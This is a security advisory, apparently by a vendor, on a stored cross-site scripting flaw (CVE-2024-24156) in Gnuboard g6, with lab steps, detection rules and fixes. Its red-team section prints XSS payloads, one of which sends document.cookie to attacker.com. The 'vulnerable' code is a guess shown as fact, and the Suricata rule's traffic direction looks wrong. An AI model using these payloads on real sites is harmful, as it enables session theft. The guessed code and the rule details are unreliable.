CVE-2024-24156

Executive Summary

CVE-2024-24156 is a stored Cross-Site Scripting (XSS) vulnerability identified in Gnuboard g6, a popular open-source bulletin board system. The flaw resides in the wr_content parameter, allowing remote attackers to inject arbitrary web scripts or HTML. When the malicious content is stored and later rendered by other users, it executes in the context of their browsers, potentially leading to session hijacking, credential theft, or defacement. The vulnerability exists in versions prior to the GitHub commit 58c737a263ac0c523592fd87ff71b9e3c07d7cf5. No official patch release has been tagged, but the fix is available in the repository. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

Gnuboard is a PHP-based application typically deployed via manual download or Git clone. There is no official package manager (e.g., Composer) distribution for Gnuboard g6. The vulnerability is introduced through the application's source code, not a third-party dependency. Users should verify the integrity of their installation by checking the commit hash of their deployed code.

CVSS Breakdown & Threat Level

The CVSS vector is not provided by NVD. Based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a user account to post content.
• User Interaction (UI): Required (R) – The victim must view the malicious post.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Potential for data theft.
• Integrity (I): Low (L) – Potential for content manipulation.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS v3.1 Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires user interaction and low privileges, but the impact on confidentiality and integrity is significant.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the wr_content parameter of Gnuboard g6. When a user creates or edits a post, the wr_content field is not properly sanitized or encoded before being stored in the database. When another user views the post, the unsanitized content is rendered directly in the browser, allowing the execution of injected JavaScript.

The root cause is the lack of output encoding or input validation on the wr_content parameter. The application likely uses a function like echo $wr_content or echo $row['wr_content'] without applying htmlspecialchars() or similar escaping.

The attack flow:

1. Attacker registers/logs in.
2. Attacker creates a new post with malicious JavaScript in the wr_content field.
3. The malicious payload is stored in the database.
4. Victim views the post.
5. The browser executes the injected script.

Vulnerable vs. Patched Code

Vulnerable Code (before commit 58c737a263ac0c523592fd87ff71b9e3c07d7cf5):

// In the view or write function
echo $wr_content;

Patched Code (after commit 58c737a263ac0c523592fd87ff71b9e3c07d7cf5):

// Properly escape output
echo htmlspecialchars($wr_content, ENT_QUOTES, 'UTF-8');

The patch applies htmlspecialchars() to the wr_content variable before output, converting special characters like <, >, ", ', and & to their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Proof-of-Concept Payload:

<script>alert('XSS')</script>

Advanced Payload for Session Hijacking:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Lab Setup:

1. Deploy a vulnerable version of Gnuboard g6 (commit before 58c737a263ac0c523592fd87ff71b9e3c07d7cf5).
2. Register a user account.
3. Create a new post with the payload in the wr_content field.
4. Log in as a different user and view the post to trigger the XSS.

Blue Team

Detection:

• Monitor for posts containing <script> tags or event handlers (e.g., onload, onerror).
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search database for wr_content fields containing HTML tags.
• Review web server logs for requests to /bbs/write.php or similar endpoints with suspicious wr_content parameters.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /bbs/write.php or /bbs/view.php with wr_content containing <script> tags.
  • Outbound connections to attacker-controlled domains from the web server.
• Host:
  • Database entries in the write table with wr_content containing JavaScript.
  • Web server logs showing POST requests with wr_content parameter containing encoded or raw script tags.
• File:
  • Modified source files (e.g., bbs/write.php, bbs/view.php) that remove or alter the htmlspecialchars() call.

Detection Engineering

YARA Rule

rule CVE_2024_24156_Gnuboard_XSS {
    meta:
        description = "Detects stored XSS payloads in Gnuboard g6 wr_content"
        author = "Valters IT"
        date = "2024-02-20"
        reference = "CVE-2024-24156"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Gnuboard g6 Stored XSS via wr_content
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-24156 by posting malicious content
author: Valters IT
date: 2024/02/20
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/bbs/write.php'
        cs-uri-query|contains: 'wr_content'
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-24156 Gnuboard g6 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/bbs/write.php"; http_uri; content:"wr_content"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch by updating to the latest commit that includes the fix (58c737a263ac0c523592fd87ff71b9e3c07d7cf5).
2. If unable to patch immediately, implement a WAF rule to block requests containing <script> tags in the wr_content parameter.
3. Review and sanitize existing posts for malicious content.

Long-term Measures:

1. Implement input validation and output encoding for all user-supplied data.
2. Use a Content Security Policy (CSP) to restrict script execution.
3. Regularly update Gnuboard to the latest version.
4. Conduct security code reviews and penetration testing.

Workaround:

• Modify the source code manually to add htmlspecialchars() around $wr_content in the view and write functions.

Valters IT